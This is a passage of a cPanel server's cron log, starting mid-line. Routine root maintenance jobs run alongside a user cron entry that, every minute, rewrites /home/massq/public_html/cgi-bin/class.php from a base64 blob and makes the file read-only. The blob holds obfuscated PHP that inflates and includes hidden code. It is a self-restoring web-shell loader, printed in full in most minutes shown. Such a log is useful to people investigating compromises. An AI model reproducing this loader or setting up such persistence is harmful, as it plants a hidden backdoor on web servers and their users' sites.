qBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:17:01 server CROND[30638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:17:01 server CROND[30637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:17:01 server CROND[30639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:18:01 server CROND[31019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:18:01 server CROND[31020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:18:01 server CROND[31021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:19:01 server CROND[31453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:19:01 server CROND[31455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:19:01 server CROND[31454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:20:01 server CROND[31863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:20:01 server CROND[31865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:20:01 server CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:20:01 server CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:20:01 server CROND[31874]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:20:01 server CROND[31872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:20:01 server CROND[31871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:20:01 server CROND[31873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:20:01 server CROND[31866]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:21:01 server CROND[32727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:21:01 server CROND[32728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:21:01 server CROND[32729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:22:01 server CROND[800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:22:01 server CROND[801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:22:01 server CROND[802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:23:01 server CROND[1279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:23:01 server CROND[1285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:23:01 server CROND[1283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:24:01 server CROND[1674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:24:01 server CROND[1675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:24:01 server CROND[1673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:25:01 server CROND[2103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:25:01 server CROND[2109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:25:01 server CROND[2112]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:25:01 server CROND[2114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:25:01 server CROND[2113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:25:01 server CROND[2110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:25:01 server CROND[2111]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:26:01 server CROND[2979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:26:01 server CROND[2980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:26:01 server CROND[2981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:27:01 server CROND[3457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:27:01 server CROND[3458]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:27:01 server CROND[3459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:27:01 server CROND[3460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:28:01 server CROND[3864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:28:01 server CROND[3865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:28:01 server CROND[3866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:29:01 server CROND[4264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:29:01 server CROND[4265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
